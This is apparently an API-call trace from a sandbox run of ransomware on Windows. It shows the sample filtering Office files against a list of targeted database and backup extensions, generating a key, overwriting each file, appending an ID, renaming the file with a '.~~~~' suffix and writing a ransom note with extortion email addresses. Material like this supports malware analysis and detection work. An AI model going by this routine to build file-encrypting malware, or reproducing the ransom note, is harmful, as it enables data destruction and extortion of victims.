	[0081.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".DBS") returned 0x0
	[0081.506] lstrlenW (lpString=".CKP") returned 4
	[0081.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".CKP") returned 0x0
	[0081.506] lstrlenW (lpString=".edb") returned 4
	[0081.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".edb") returned 0x0
	[0081.506] lstrlenW (lpString=".PST") returned 4
	[0081.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".PST") returned 0x0
	[0081.506] lstrlenW (lpString=".dbf") returned 4
	[0081.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".dbf") returned 0x0
	[0081.506] lstrlenW (lpString=".SQL") returned 4
	[0081.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".SQL") returned 0x0
	[0081.506] lstrlenW (lpString=".pst") returned 4
	[0081.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".pst") returned 0x0
	[0081.506] lstrlenW (lpString=".dbv") returned 4
	[0081.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".dbv") returned 0x0
	[0081.507] lstrlenW (lpString=".SDF") returned 4
	[0081.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".SDF") returned 0x0
	[0081.507] lstrlenW (lpString=".dtxs") returned 5
	[0081.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".dtxs") returned 0x0
	[0081.507] lstrlenW (lpString=".db3") returned 4
	[0081.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".db3") returned 0x0
	[0081.507] lstrlenW (lpString=".OST") returned 4
	[0081.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".OST") returned 0x0
	[0081.507] lstrlenW (lpString=".dbx") returned 4
	[0081.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".dbx") returned 0x0
	[0081.507] lstrlenW (lpString=".DB3") returned 4
	[0081.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".DB3") returned 0x0
	[0081.507] lstrlenW (lpString=".DAT") returned 4
	[0081.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".DAT") returned 0x0
	[0081.507] lstrlenW (lpString=".VHDX") returned 5
	[0081.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".VHDX") returned 0x0
	[0081.507] lstrlenW (lpString=".ndf") returned 4
	[0081.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".ndf") returned 0x0
	[0081.507] lstrlenW (lpString=".DB") returned 3
	[0081.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".DB") returned 0x0
	[0081.507] lstrlenW (lpString=".sql") returned 4
	[0081.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".sql") returned 0x0
	[0081.507] lstrlenW (lpString=".MYD") returned 4
	[0081.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".MYD") returned 0x0
	[0081.507] lstrlenW (lpString=".DBT") returned 4
	[0081.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".DBT") returned 0x0
	[0081.507] lstrlenW (lpString=".ACCDB") returned 6
	[0081.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".ACCDB") returned 0x0
	[0081.507] lstrlenW (lpString=".fdb") returned 4
	[0081.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".fdb") returned 0x0
	[0081.507] lstrlenW (lpString=".bak") returned 4
	[0081.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".bak") returned 0x0
	[0081.507] lstrlenW (lpString=".myd") returned 4
	[0081.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".myd") returned 0x0
	[0081.508] lstrlenW (lpString=".DTXS") returned 5
	[0081.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".DTXS") returned 0x0
	[0081.508] lstrlenW (lpString=".ckp") returned 4
	[0081.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".ckp") returned 0x0
	[0081.508] lstrlenW (lpString=".dbt") returned 4
	[0081.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".dbt") returned 0x0
	[0081.508] lstrlenW (lpString=".db") returned 3
	[0081.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".db") returned 0x0
	[0081.508] lstrlenW (lpString=".TXT") returned 4
	[0081.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".TXT") returned 0x0
	[0081.508] lstrlenW (lpString=".MDF") returned 4
	[0081.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".MDF") returned 0x0
	[0081.508] lstrlenW (lpString=".bdb") returned 4
	[0081.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".bdb") returned 0x0
	[0081.508] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0081.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.508] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0081.509] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.509] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0081.509] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0081.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3e46f0
	[0081.509] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20149947591) returned 1
	[0081.509] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9a6f8d50, dwHighDateTime=0x1d60e1e)) 
	[0081.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0081.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0081.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0081.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cd380
	[0081.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd380 | out: hHeap=0x300000) returned 1
	[0081.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0081.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0081.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0081.510] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0081.510] GetLastError () returned 0x0
	[0081.510] GetLastError () returned 0x0
	[0081.510] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0081.510] GetLastError () returned 0x0
	[0081.510] GetLastError () returned 0x0
	[0081.510] ReadFile (in: hFile=0x120, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x26dfec0*=0x251f, lpOverlapped=0x0) returned 1
	[0081.513] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffdae1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.513] WriteFile (in: hFile=0x120, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x251f, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x26dfec0*=0x251f, lpOverlapped=0x0) returned 1
	[0081.513] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0081.513] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.513] WriteFile (in: hFile=0x120, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.513] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.513] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.514] CloseHandle (hObject=0x120) returned 1
	[0081.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x3a3ee8
	[0081.514] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.~~~~")) returned 1
	[0081.514] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3ee8 | out: hHeap=0x300000) returned 1
	[0081.514] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0081.514] GetLastError () returned 0x0
	[0081.514] RtlWakeConditionVariable () returned 0x365f70
	[0081.514] GetCurrentThreadId () returned 0x9cc
	[0081.515] GetCurrentThreadId () returned 0x9cc
	[0081.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0a88
	[0081.515] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0218 | out: hHeap=0x300000) returned 1
	[0081.515] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe280 | out: hHeap=0x300000) returned 1
	[0081.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0218
	[0081.515] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0081.515] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0081.515] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0081.516] CloseHandle (hObject=0x120) returned 1
	[0081.516] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0218 | out: hHeap=0x300000) returned 1
	[0081.516] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0a88 | out: hHeap=0x300000) returned 1
	[0081.516] RtlWakeConditionVariable () returned 0x365f70
	[0081.516] GetCurrentThreadId () returned 0x9cc
	[0081.516] GetCurrentThreadId () returned 0x9cc
	[0081.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800b18
	[0081.516] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2800fe8 | out: hHeap=0x300000) returned 1
	[0081.516] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe2b8 | out: hHeap=0x300000) returned 1
	[0081.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800fe8
	[0081.517] lstrlenW (lpString=".scr") returned 4
	[0081.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".scr") returned 0x0
	[0081.517] lstrlenW (lpString=".cmd") returned 4
	[0081.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".cmd") returned 0x0
	[0081.517] lstrlenW (lpString=".dll") returned 4
	[0081.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".dll") returned 0x0
	[0081.517] lstrlenW (lpString=".bat") returned 4
	[0081.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".bat") returned 0x0
	[0081.517] lstrlenW (lpString=".cpl") returned 4
	[0081.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".cpl") returned 0x0
	[0081.517] lstrlenW (lpString=".sys") returned 4
	[0081.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".sys") returned 0x0
	[0081.517] lstrlenW (lpString=".msc") returned 4
	[0081.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".msc") returned 0x0
	[0081.517] lstrlenW (lpString=".com") returned 4
	[0081.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".com") returned 0x0
	[0081.517] lstrlenW (lpString=".lnk") returned 4
	[0081.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".lnk") returned 0x0
	[0081.517] lstrlenW (lpString=".msp") returned 4
	[0081.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".msp") returned 0x0
	[0081.517] lstrlenW (lpString=".pif") returned 4
	[0081.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".pif") returned 0x0
	[0081.517] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0081.517] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0081.518] lstrlenW (lpString=".sqb") returned 4
	[0081.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".sqb") returned 0x0
	[0081.518] lstrlenW (lpString=".ost") returned 4
	[0081.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".ost") returned 0x0
	[0081.518] lstrlenW (lpString=".txt") returned 4
	[0081.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".txt") returned 0x0
	[0081.519] lstrlenW (lpString=".mdt") returned 4
	[0081.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".mdt") returned 0x0
	[0081.519] lstrlenW (lpString=".BDB") returned 4
	[0081.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".BDB") returned 0x0
	[0081.519] lstrlenW (lpString=".eql") returned 4
	[0081.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".eql") returned 0x0
	[0081.519] lstrlenW (lpString=".DBF") returned 4
	[0081.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".DBF") returned 0x0
	[0081.519] lstrlenW (lpString=".EQL") returned 4
	[0081.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".EQL") returned 0x0
	[0081.519] lstrlenW (lpString=".FDB") returned 4
	[0081.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".FDB") returned 0x0
	[0081.519] lstrlenW (lpString=".EDB") returned 4
	[0081.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".EDB") returned 0x0
	[0081.519] lstrlenW (lpString=".DACPAC") returned 7
	[0081.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".DACPAC") returned 0x0
	[0081.519] lstrlenW (lpString=".VHD") returned 4
	[0081.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".VHD") returned 0x0
	[0081.519] lstrlenW (lpString=".DBV") returned 4
	[0081.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".DBV") returned 0x0
	[0081.519] lstrlenW (lpString=".dacpac") returned 7
	[0081.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".dacpac") returned 0x0
	[0081.519] lstrlenW (lpString=".sdf") returned 4
	[0081.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".sdf") returned 0x0
	[0081.519] lstrlenW (lpString=".accdb") returned 6
	[0081.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".accdb") returned 0x0
	[0081.520] lstrlenW (lpString=".DBX") returned 4
	[0081.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".DBX") returned 0x0
	[0081.520] lstrlenW (lpString=".MDT") returned 4
	[0081.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".MDT") returned 0x0
	[0081.520] lstrlenW (lpString=".SQB") returned 4
	[0081.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".SQB") returned 0x0
	[0081.520] lstrlenW (lpString=".vhd") returned 4
	[0081.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".vhd") returned 0x0
	[0081.520] lstrlenW (lpString=".bac") returned 4
	[0081.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".bac") returned 0x0
	[0081.520] lstrlenW (lpString=".mdf") returned 4
	[0081.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".mdf") returned 0x0
	[0081.520] lstrlenW (lpString=".BAK") returned 4
	[0081.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".BAK") returned 0x0
	[0081.520] lstrlenW (lpString=".BAC") returned 4
	[0081.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".BAC") returned 0x0
	[0081.520] lstrlenW (lpString=".dbs") returned 4
	[0081.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".dbs") returned 0x0
	[0081.520] lstrlenW (lpString=".vhdx") returned 5
	[0081.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".vhdx") returned 0x0
	[0081.520] lstrlenW (lpString=".NDF") returned 4
	[0081.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".NDF") returned 0x0
	[0081.520] lstrlenW (lpString=".dat") returned 4
	[0081.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".dat") returned 0x0
	[0081.520] lstrlenW (lpString=".DBS") returned 4
	[0081.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpSrch=".DBS") returned 0x0
	[0081.520] lstrlenW (lpString=".CKP") returned 4
